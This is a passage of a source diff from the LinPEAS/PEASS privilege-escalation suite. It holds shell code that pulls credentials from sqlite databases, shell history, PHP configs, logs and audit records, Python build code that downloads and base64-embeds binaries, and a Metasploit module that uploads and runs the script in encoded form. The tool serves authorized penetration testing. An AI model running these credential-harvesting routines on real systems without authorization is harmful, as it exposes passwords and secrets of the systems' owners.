elif [ "$(command -v python 2>/dev/null)" ] || [ "$(command -v python3 2>/dev/null)" ]; then
SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null)
tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null)
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
else
tables=""
fi
if [ "$tables" ] || [ "$DEBUG" ]; then
printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC
printf "%s\n" "$tables" | while read t; do
columns=""
# Search for credentials inside the table using sqlite3
if [ -z "$SQLITEPYTHON" ]; then
columns=$(sqlite3 $f ".schema $t" 2>/dev/null | grep "CREATE TABLE")
# Search for credentials inside the table using python
else
columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null)
fi
# Check found columns for interesting fields
INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt")
if [ "$INTCOLUMN" ]; then
printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g"
printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g"
(sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head
echo ""
fi
done
fi
fi
done
fi
echo ""
if [ "$MACPEAS" ]; then
print_2title "Downloaded Files"
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|"
fi
##-- IF) Web files
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Web files?(output limit)"
ls -alhR /var/www/ 2>/dev/null | head
ls -alhR /srv/www/htdocs/ 2>/dev/null | head
ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head
ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head
echo ""
fi
##-- IF) All hidden files
print_2title "All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)"
find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme|\.travis.yml" | head -n 70
echo ""
##-- IF) Readable files in /tmp, /var/tmp, backups
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)"
filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | grep -Ev "dpkg\.statoverride\.|dpkg\.status\.|apt\.extended_states\.|dpkg\.diversions\." | head -n 70)
printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done
echo ""
fi
##-- IF) Passwords in history cmd
if [ "$(history 2>/dev/null)" ] || [ "$DEBUG" ]; then
print_2title "Searching passwords in history cmd"
history | grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"
echo ""
fi
##-- IF) Passwords in history files
if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then
print_2title "Searching passwords in history files"
printf "%s\n" "$PSTORAGE_HISTORY" | while read f; do grep -EiH "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"; done
echo ""
fi
##-- IF) Passwords in config PHP files
if [ "$PSTORAGE_PHP_FILES" ] || [ "$DEBUG" ]; then
print_2title "Searching passwords in config PHP files"
printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiIH "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" "$c" 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done
echo ""
fi
##-- IF) Passwords files in home
if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then
print_2title "Searching *password* or *credential* files in home (limit 70)"
(printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | grep -v "/snap/" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found
echo ""
fi
##-- IF) TTY passwords
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Checking for TTY (sudo/su) passwords in audit logs"
aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g"
find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g"
echo ""
fi
##-- IF) IPs inside logs
if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then
print_2title "Searching IPs inside logs (limit 70)"
(find /var/log/ /var/logs /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70
echo ""
fi
##-- IF) Passwords inside logs
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Searching passwords inside logs (limit 70)"
(find /var/log/ /var/logs/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|modules-config/config-set-passwords\|config-set-passwords already ran\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED},"
echo ""
fi
if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then
##-- IF) Emails inside logs
print_2title "Searching emails inside logs (limit 70)"
(find /var/log/ /var/logs/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g"
echo ""
fi
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
##-- IF) Find possible files with passwords
print_2title "Searching possible password variables inside key folders (limit 140)"
if ! [ "$SEARCH_IN_FOLDER" ]; then
timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
else
timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
fi
wait
echo ""
##-- IF) Find possible conf files with passwords
print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)"
if ! [ "$SEARCH_IN_FOLDER" ]; then
ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
else
ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
fi
printf "%s\n" "$ppicf" | while read f; do
if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' \"$f\" 2>/dev/null; then
echo "$ITALIC $f$NC"
grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g"
fi
done
echo ""
fi

File diff suppressed because one or more lines are too long

View File

@@ -2,6 +2,7 @@ import re
import requests import requests
import base64 import base64
import os import os
from pathlib import Path
from .peasLoaded import PEASLoaded from .peasLoaded import PEASLoaded
from .peassRecord import PEASRecord from .peassRecord import PEASRecord
@@ -9,7 +10,7 @@ from .fileRecord import FileRecord
from .yamlGlobals import ( from .yamlGlobals import (
TEMPORARY_LINPEAS_BASE_PATH, TEMPORARY_LINPEAS_BASE_PATH,
PEAS_FINDS_MARKUP, PEAS_FINDS_MARKUP,
PEAS_STORAGES_MARKUP, PEAS_FINDS_CUSTOM_MARKUP,
PEAS_STORAGES_MARKUP, PEAS_STORAGES_MARKUP,
INT_HIDDEN_FILES_MARKUP, INT_HIDDEN_FILES_MARKUP,
ROOT_FOLDER, ROOT_FOLDER,
@@ -30,7 +31,10 @@ from .yamlGlobals import (
LES_MARKUP, LES_MARKUP,
LES2_MARKUP, LES2_MARKUP,
REGEXES_LOADED, REGEXES_LOADED,
REGEXES_MARKUP REGEXES_MARKUP,
FAT_LINPEAS_AMICONTAINED_MARKUP,
FAT_LINPEAS_GITLEAKS_LINUX_MARKUP,
FAT_LINPEAS_GITLEAKS_MACOS_MARKUP
) )
@@ -50,8 +54,9 @@ class LinpeasBuilder:
self.__replace_mark(PEAS_VARIABLES_MARKUP, variables, "") self.__replace_mark(PEAS_VARIABLES_MARKUP, variables, "")
print("[+] Building finds...") print("[+] Building finds...")
find_calls = self.__generate_finds() find_calls, find_custom_calls = self.__generate_finds()
self.__replace_mark(PEAS_FINDS_MARKUP, find_calls, " ") self.__replace_mark(PEAS_FINDS_MARKUP, find_calls, " ")
self.__replace_mark(PEAS_FINDS_CUSTOM_MARKUP, find_custom_calls, " ")
print("[+] Building storages...") print("[+] Building storages...")
storage_vars = self.__generate_storages() storage_vars = self.__generate_storages()
@@ -93,6 +98,16 @@ class LinpeasBuilder:
self.__replace_mark(LES_MARKUP, list(les_b64), "") self.__replace_mark(LES_MARKUP, list(les_b64), "")
self.__replace_mark(LES2_MARKUP, list(les2_b64), "") self.__replace_mark(LES2_MARKUP, list(les2_b64), "")
print("[+] Downloading Fat Linpeas binaries...")
aimcont_b64 = self.__get_bin("https://github.com/genuinetools/amicontained/releases/latest/download/amicontained-linux-amd64")
self.__replace_mark(FAT_LINPEAS_AMICONTAINED_MARKUP, list(aimcont_b64), "")
gitleaks_b64 = self.__get_bin("https://github.com/zricethezav/gitleaks/releases/download/v8.8.7/gitleaks_8.8.7_linux_x64.tar.gz", tar_gz="gitleaks")
self.__replace_mark(FAT_LINPEAS_GITLEAKS_LINUX_MARKUP, list(gitleaks_b64), "")
gitleaks_b64_macos = self.__get_bin("https://github.com/zricethezav/gitleaks/releases/download/v8.8.7/gitleaks_8.8.7_darwin_x64.tar.gz", tar_gz="gitleaks")
self.__replace_mark(FAT_LINPEAS_GITLEAKS_MACOS_MARKUP, list(gitleaks_b64_macos), "")
print("[+] Building GTFOBins lists...") print("[+] Building GTFOBins lists...")
suidVB, sudoVB, capsVB = self.__get_gtfobins_lists() suidVB, sudoVB, capsVB = self.__get_gtfobins_lists()
assert len(suidVB) > 185, f"Len suidVB is {len(suidVB)}" assert len(suidVB) > 185, f"Len suidVB is {len(suidVB)}"
@@ -113,7 +128,6 @@ class LinpeasBuilder:
#Check for empty seds #Check for empty seds
assert 'sed -${E} "s,,' not in self.linpeas_sh assert 'sed -${E} "s,,' not in self.linpeas_sh
def __get_peass_marks(self): def __get_peass_marks(self):
return re.findall(r'peass\{[\w\-\._ ]*\}', self.linpeas_sh) return re.findall(r'peass\{[\w\-\._ ]*\}', self.linpeas_sh)
@@ -146,6 +160,11 @@ class LinpeasBuilder:
def __generate_finds(self) -> list: def __generate_finds(self) -> list:
"""Given the regexes to search on each root folder, generate the find command""" """Given the regexes to search on each root folder, generate the find command"""
finds = [] finds = []
finds_custom = []
all_folder_regexes = []
all_file_regexes = []
for type,searches in self.dict_to_search.items(): for type,searches in self.dict_to_search.items():
for r,regexes in searches.items(): for r,regexes in searches.items():
if regexes: if regexes:
@@ -153,25 +172,41 @@ class LinpeasBuilder:
if type == "d": if type == "d":
find_line += "-type d " find_line += "-type d "
bash_find_var = f"FIND_DIR_{r[1:].replace('.','').upper()}" bash_find_var = f"FIND_DIR_{r[1:].replace('.','').replace('-','_').replace('{ROOT_FOLDER}','').upper()}"
self.bash_find_d_vars.add(bash_find_var) self.bash_find_d_vars.add(bash_find_var)
all_folder_regexes += regexes
else: else:
bash_find_var = f"FIND_{r[1:].replace('.','').upper()}" bash_find_var = f"FIND_{r[1:].replace('.','').replace('-','_').replace('{ROOT_FOLDER}','').upper()}"
self.bash_find_f_vars.add(bash_find_var) self.bash_find_f_vars.add(bash_find_var)
all_file_regexes += regexes
find_line += '-name \\"' + '\\" -o -name \\"'.join(regexes) + '\\"' find_line += '-name \\"' + '\\" -o -name \\"'.join(regexes) + '\\"'
find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line) find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line)
find_line = f"{bash_find_var}={find_line}" find_line = f"{bash_find_var}={find_line}"
finds.append(find_line) finds.append(find_line)
# Buid folder and files finds when searching in a custom folder
all_folder_regexes = list(set(all_folder_regexes))
find_line = '$SEARCH_IN_FOLDER -type d -name \\"' + '\\" -o -name \\"'.join(all_folder_regexes) + '\\"'
find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line)
find_line = f"FIND_DIR_CUSTOM={find_line}"
finds_custom.append(find_line)
all_file_regexes = list(set(all_file_regexes))
find_line = '$SEARCH_IN_FOLDER -name \\"' + '\\" -o -name \\"'.join(all_file_regexes) + '\\"'
find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line)
find_line = f"FIND_CUSTOM={find_line}"
finds_custom.append(find_line)
return finds return finds, finds_custom
def __generate_storages(self) -> list: def __generate_storages(self) -> list:
"""Generate the storages to save the results per entry""" """Generate the storages to save the results per entry"""
storages = [] storages = []
all_f_finds = "$" + "\\n$".join(self.bash_find_f_vars) custom_storages = ["FIND_CUSTOM", "FIND_DIR_CUSTOM"]
all_d_finds = "$" + "\\n$".join(self.bash_find_d_vars) all_f_finds = "$" + "\\n$".join(list(self.bash_find_f_vars) + custom_storages)
all_finds = "$" + "\\n$".join(list(self.bash_find_f_vars) + list(self.bash_find_d_vars)) all_d_finds = "$" + "\\n$".join(list(self.bash_find_d_vars) + custom_storages)
all_finds = "$" + "\\n$".join(list(self.bash_find_f_vars) + list(self.bash_find_d_vars) + custom_storages)
for precord in self.ploaded.peasrecords: for precord in self.ploaded.peasrecords:
bash_storage_var = f"PSTORAGE_{precord.bash_name}" bash_storage_var = f"PSTORAGE_{precord.bash_name}"
@@ -239,7 +274,7 @@ class LinpeasBuilder:
analise_line = "" analise_line = ""
if init: if init:
analise_line = 'if ! [ "`echo \\\"$PSTORAGE_'+precord.bash_name+'\\\" | grep -E \\\"'+real_regex+'\\\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "'+frecord.regex+'"; fi; fi; ' analise_line = 'if ! [ "`echo \\\"$PSTORAGE_'+precord.bash_name+'\\\" | grep -E \\\"'+real_regex+'\\\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "'+frecord.regex+'"; fi; fi; '
analise_line += 'printf "%s" "$PSTORAGE_'+precord.bash_name+'" | grep -E "'+real_regex+'" | while read f; do ls -ld "$f" | sed -${E} "s,'+real_regex+',${SED_RED},"; ' analise_line += 'printf "%s" "$PSTORAGE_'+precord.bash_name+'" | grep -E "'+real_regex+'" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,'+real_regex+',${SED_RED},"; '
#If just list, just list the file/directory #If just list, just list the file/directory
if frecord.just_list_file: if frecord.just_list_file:
@@ -303,9 +338,22 @@ class LinpeasBuilder:
r2 = requests.get("https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl") r2 = requests.get("https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl")
return(base64.b64encode(bytes(r1.text, 'utf-8')).decode("utf-8"), base64.b64encode(bytes(r2.text, 'utf-8')).decode("utf-8")) return(base64.b64encode(bytes(r1.text, 'utf-8')).decode("utf-8"), base64.b64encode(bytes(r2.text, 'utf-8')).decode("utf-8"))
def __get_bin(self, url, tar_gz="") -> str:
os.system(f"wget -q '{url}' -O /tmp/bin_builder")
if tar_gz:
os.system(f"cd /tmp; tar -xvzf /tmp/bin_builder; rm /tmp/bin_builder; mv {tar_gz} /tmp/bin_builder")
os.system("base64 /tmp/bin_builder | tr -d '\n' > /tmp/binb64; rm /tmp/bin_builder")
b64bin = ""
with open("/tmp/binb64", "r") as f:
b64bin = f.read()
os.system("rm /tmp/binb64")
return b64bin
def __get_gtfobins_lists(self) -> tuple: def __get_gtfobins_lists(self) -> tuple:
r = requests.get("https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins") r = requests.get("https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins")
bins = re.findall(r'/GTFOBins/GTFOBins.github.io/blob/master/_gtfobins/([\w_ \-]+).md', r.text) bins = re.findall(r'_gtfobins/([\w_ \-]+).md', r.text)
sudoVB = [] sudoVB = []
suidVB = [] suidVB = []
@@ -323,44 +371,46 @@ class LinpeasBuilder:
return (suidVB, sudoVB, capsVB) return (suidVB, sudoVB, capsVB)
def __generate_regexes_search(self) -> str: def __generate_regexes_search(self) -> str:
paths_to_search = REGEXES_LOADED["paths"]
regexes = REGEXES_LOADED["regular_expresions"] regexes = REGEXES_LOADED["regular_expresions"]
regexes_search_section = "" regexes_search_section = ""
for values in regexes: for values in regexes:
section_name = values["name"] section_name = values["name"]
regexes_search_section += f'print_2title "Searching {section_name}"\n' regexes_search_section += f' print_2title "Searching {section_name}"\n'
for entry in values["regexes"]: for entry in values["regexes"]:
name = entry["name"] name = entry["name"]
caseinsensitive = entry.get("caseinsensitive", False)
regex = entry["regex"] regex = entry["regex"]
regex = regex.replace('"', '\\"').strip() regex = regex.replace('"', '\\"').strip()
extra_grep = entry.get("extra_grep") falsePositives = entry.get("falsePositives", False)
extra_grep = f"| grep {extra_grep}" if extra_grep else ""
if falsePositives:
continue
regexes_search_section += f'print_3title "Searching {name} (limited to 50)"\n' regexes_search_section += f" search_for_regex \"{name}\" \"{regex}\" {'1' if caseinsensitive else ''}\n"
for path in paths_to_search:
regexes_search_section += "timeout 120 find "+path+" -type f -exec grep -HnRiIE \""+regex+"\" '{}' \; 2>/dev/null "+extra_grep+" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} \"s~"+regex+"~${SED_RED}~\" &\n"
regexes_search_section += "wait\n" regexes_search_section += " echo ''\n\n"
regexes_search_section += "echo ''\n"
return regexes_search_section return regexes_search_section
def __replace_mark(self, mark: str, find_calls: list, join_char: str): def __replace_mark(self, mark: str, find_calls: list, join_char: str):
"""Substitude the markup with the actual code""" """Substitude the markup with the actual code"""
self.linpeas_sh = self.linpeas_sh.replace(mark, join_char.join(find_calls)) #New line char is't needed self.linpeas_sh = self.linpeas_sh.replace(mark, join_char.join(find_calls)) #New line char is't needed
def write_linpeas(self, path): def write_linpeas(self, path, rm_startswith=""):
"""Write on disk the final linpeas""" """Write on disk the final linpeas"""
with open(path, "w") as f: with open(path, "w") as f:
f.write(self.linpeas_sh) if not rm_startswith:
f.write(self.linpeas_sh)
os.remove(TEMPORARY_LINPEAS_BASE_PATH) #Remove the built linpeas_base.sh file else:
tmp_linpeas = ""
for line in self.linpeas_sh.splitlines():
if not line.startswith(rm_startswith):
tmp_linpeas += line + "\n"
f.write(tmp_linpeas)

View File

@@ -1,5 +1,11 @@
import os import os
import yaml import yaml
from pathlib import Path
script_folder = Path(os.path.dirname(os.path.abspath(__file__)))
target_file = script_folder / '..' / '..' / '..' / 'build_lists' / 'download_regexes.py'
os.system(target_file)
CURRENT_DIR = os.path.dirname(os.path.realpath(__file__)) CURRENT_DIR = os.path.dirname(os.path.realpath(__file__))
@@ -15,36 +21,52 @@ LINPEAS_PARTS = [
"name_check": "container", "name_check": "container",
"file_path": LINPEAS_BASE_PARTS + "/2_container.sh" "file_path": LINPEAS_BASE_PARTS + "/2_container.sh"
}, },
{
"name": "Cloud",
"name_check": "cloud",
"file_path": LINPEAS_BASE_PARTS + "/3_cloud.sh"
},
{ {
"name": "Processes, Crons, Timers, Services and Sockets", "name": "Processes, Crons, Timers, Services and Sockets",
"name_check": "procs_crons_timers_srvcs_sockets", "name_check": "procs_crons_timers_srvcs_sockets",
"file_path": LINPEAS_BASE_PARTS + "/3_procs_crons_timers_srvcs_sockets.sh" "file_path": LINPEAS_BASE_PARTS + "/4_procs_crons_timers_srvcs_sockets.sh"
}, },
{ {
"name": "Network Information", "name": "Network Information",
"name_check": "network_information", "name_check": "network_information",
"file_path": LINPEAS_BASE_PARTS + "/4_network_information.sh" "file_path": LINPEAS_BASE_PARTS + "/5_network_information.sh"
}, },
{ {
"name": "Users Information", "name": "Users Information",
"name_check": "users_information", "name_check": "users_information",
"file_path": LINPEAS_BASE_PARTS + "/5_users_information.sh" "file_path": LINPEAS_BASE_PARTS + "/6_users_information.sh"
}, },
{ {
"name": "Software Information", "name": "Software Information",
"name_check": "software_information", "name_check": "software_information",
"file_path": LINPEAS_BASE_PARTS + "/6_software_information.sh" "file_path": LINPEAS_BASE_PARTS + "/7_software_information.sh"
}, },
{ {
"name": "Interesting Files", "name": "Files with Interesting Permissions",
"name_check": "interesting_perms_files",
"file_path": LINPEAS_BASE_PARTS + "/8_interesting_perms_files.sh"
},
{
"name": "Other Interesting Files",
"name_check": "interesting_files", "name_check": "interesting_files",
"file_path": LINPEAS_BASE_PARTS + "/7_interesting_files.sh" "file_path": LINPEAS_BASE_PARTS + "/9_interesting_files.sh"
},
{
"name": "API Keys Regex",
"name_check": "api_keys_regex",
"file_path": LINPEAS_BASE_PARTS + "/10_api_keys_regex.sh"
} }
] ]
LINPEAS_BASE_PATH = LINPEAS_BASE_PARTS + "/linpeas_base.sh" LINPEAS_BASE_PATH = LINPEAS_BASE_PARTS + "/linpeas_base.sh"
TEMPORARY_LINPEAS_BASE_PATH = CURRENT_DIR + "/../linpeas_base.sh" TEMPORARY_LINPEAS_BASE_PATH = CURRENT_DIR + "/../linpeas_base.sh"
FINAL_FAT_LINPEAS_PATH = CURRENT_DIR + "/../../" + "linpeas_fat.sh"
FINAL_LINPEAS_PATH = CURRENT_DIR + "/../../" + "linpeas.sh" FINAL_LINPEAS_PATH = CURRENT_DIR + "/../../" + "linpeas.sh"
YAML_NAME = "sensitive_files.yaml" YAML_NAME = "sensitive_files.yaml"
YAML_REGEXES = "regexes.yaml" YAML_REGEXES = "regexes.yaml"
@@ -68,6 +90,7 @@ assert all(f in ROOT_FOLDER for f in COMMON_DIR_FOLDERS)
PEAS_CHECKS_MARKUP = YAML_LOADED["peas_checks"] PEAS_CHECKS_MARKUP = YAML_LOADED["peas_checks"]
PEAS_FINDS_MARKUP = YAML_LOADED["peas_finds_markup"] PEAS_FINDS_MARKUP = YAML_LOADED["peas_finds_markup"]
PEAS_FINDS_CUSTOM_MARKUP = YAML_LOADED["peas_finds_custom_markup"]
FIND_LINE_MARKUP = YAML_LOADED["find_line_markup"] FIND_LINE_MARKUP = YAML_LOADED["find_line_markup"]
FIND_TEMPLATE = YAML_LOADED["find_template"] FIND_TEMPLATE = YAML_LOADED["find_template"]
@@ -92,4 +115,9 @@ CAP_SETUID_MARKUP = YAML_LOADED["cap_setuid_markup"]
CAP_SETGID_MARKUP = YAML_LOADED["cap_setgid_markup"] CAP_SETGID_MARKUP = YAML_LOADED["cap_setgid_markup"]
LES_MARKUP = YAML_LOADED["les_markup"] LES_MARKUP = YAML_LOADED["les_markup"]
LES2_MARKUP = YAML_LOADED["les2_markup"] LES2_MARKUP = YAML_LOADED["les2_markup"]
FAT_LINPEAS_AMICONTAINED_MARKUP = YAML_LOADED["fat_linpeas_amicontained_markup"]
FAT_LINPEAS_GITLEAKS_LINUX_MARKUP = YAML_LOADED["fat_linpeas_gitleaks_linux_markup"]
FAT_LINPEAS_GITLEAKS_MACOS_MARKUP = YAML_LOADED["fat_linpeas_gitleaks_macos_markup"]

View File

@@ -26,7 +26,7 @@ msf6 post(multi/gather/peass) > show info
Rank: Normal Rank: Normal
Provided by: Provided by:
Carlos Polop <@carlospolopm> Carlos Polop <@hacktricks_live>
Compatible session types: Compatible session types:
Meterpreter Meterpreter

View File

@@ -18,14 +18,14 @@ class MetasploitModule < Msf::Post
'Name' => 'Multi PEASS launcher', 'Name' => 'Multi PEASS launcher',
'Description' => %q{ 'Description' => %q{
This module will launch the indicated PEASS (Privilege Escalation Awesome Script Suite) script to enumerate the system. This module will launch the indicated PEASS (Privilege Escalation Awesome Script Suite) script to enumerate the system.
You need to indicate the URL or local path to LinPEAS if you are in some Unix or to WinPEAS if you are in Windows. You need to indicate the URL or local path to LinPEAS if you are on any Unix-based system or to WinPEAS if you are on Windows.
By default this script will upload the PEASS script to the host (encrypted and/or encoded) and will load, deobfuscate, and execute it. By default this script will upload the PEASS script to the host (encrypted and/or encoded) and will load, deobfuscate, and execute it.
